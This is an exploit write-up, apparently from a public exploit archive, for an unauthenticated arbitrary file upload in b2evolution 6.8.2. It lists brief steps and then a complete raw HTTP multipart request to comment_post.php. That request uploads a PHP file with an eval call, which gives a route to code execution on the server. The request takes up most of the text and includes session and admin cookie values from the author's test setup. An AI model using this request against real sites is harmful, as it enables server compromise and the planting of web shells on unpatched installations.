# Exploit Title: b2evolution6.8.2stable – Upload
# Date: 29/12/2016
# Exploit Author: Li Fei
# Vendor Homepage: http://b2evolution.net/
# Software Link: http://b2evolution.net/downloads/6-8-2-stable?download=6407
# Version: 6.8.2
# Tested on: win7 64bit
No need admin access for upload files and we can upload any file without bypass(.php,.exe,....)
1-goto http://localhost/b2evolution/index.php/a/extended-post
2- click on Browse botton and select you`re file
3- click on upload
Ceshi.php path is:
http://SiteName/ceshi.php
poc url:
POST /b2evolution/htsrv/comment_post.php HTTP/1.1
Poc header:
Host: localhost
Content-Length: 1054
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytZ4hUYCjABZB7YSL
Referer: http://localhost/b2evolution/index.php/a/extended-post
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: session_b2evo=8323_COaAvLi6oU0LKIlMsoa207tOu4MRliDS; iCMS_USER_AUTH=93f92757UuFn7JIQa3nI%252Bk%252FF0s5elmm8KsIgZm%252F357CeOEhJUy7AsnKbPiZUa2eJTzmQx9lPUSaQcNVQtRiWJd%252BCBX0BQ4UpjoiTRBtkGujEc8rTtKoz3IGSFexrQEnmFfxKiL%252B1KR4nGq9wA88zDfJw6c1D7w7xeiYht2Iwo72Fcv8s6JjLcedy52QCOTHRPAFQ%252BdKcClUZz4vjvIvfZi5j6V4xQ1jpbnvV%252FMH6uyw7%252BL4Q41xqDKfgf1j7Sl36%252FGiXHwnij92A6nAMnxG78ZkUg5WG9PY5AtTyEMEtrHAuip7iPJbItdeuTSiTqwoIff%252BLuU4FM9nEldOYY2Jm9UD6XdgaXuyZBHhvb1v0buICmdQPX6rfrki9lZA; iCMS_userid=faf9c76a%252FQiEcyDoXBxmLMRDumokuULwqflVA%252FnfKJbcmsqFgw; iCMS_nickname=a693e7b1f4QEBL83uf0qmVI9BhIOCYq%252FTxa7NPwX8xobJpNm8bA; a8850_times=1; CNZZDATA80862620=cnzz_eid%3D1580835190-1482064117-http%253A%252F%252Flocalhost%252F%26ntime%3D1482064117; iweb_captcha=a95d2426cce76ef614NzA5ODI0NDUwOT5uZjFmY2RibDw4NGMyZjYxYzdmY2Bsa2ppdA; iweb_admin_role_name=6f99d0f079b6898180NDA1OTgwODg2NTk2PWA0Y2IwNGY9YWJgYWI3PmpgO2TrtofivafjrqbnmIXtkZg; iweb_admin_id=bef908b03b94700ce0ODA1MDEwMDAwMGowOTZlNzUwMTg2MDMxMmA3MWIxMzYx; iweb_admin_name=bef908b03b94700ce0ODA1MDEwMDAwMD8xbmUzMWFlOThiOzI3YjVmOjFgMjlhbWxpZg; iweb_admin_pwd=52f2f828c001b132f5NzAwMDc1NDcwMTg9YTE3NW8xYzA0M2E1YDdlYmY9YTllMjBnYmAyOjI5amEyOWNkYGU3NmUwNTdmNDVjPTA1ZQ
Connection: close
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="comment_rating"
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="g"
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="uploadfile[]"; filename="ceshi.php"
Content-Type: application/octet-stream
<?php
eval("echo'hello world';");
?>
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="submit_comment_post_19[save]"
Send comment
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="crumb_comment"
dXuthsKjMjhG2dnhADtzzOW414qV6Qky
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="comment_type"
comment
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="comment_item_ID"
19
------WebKitFormBoundarytZ4hUYCjABZB7YSL
Content-Disposition: form-data; name="redirect_to"
http://localhost/b2evolution/index.php/a/extended-post
------WebKitFormBoundarytZ4hUYCjABZB7YSL—
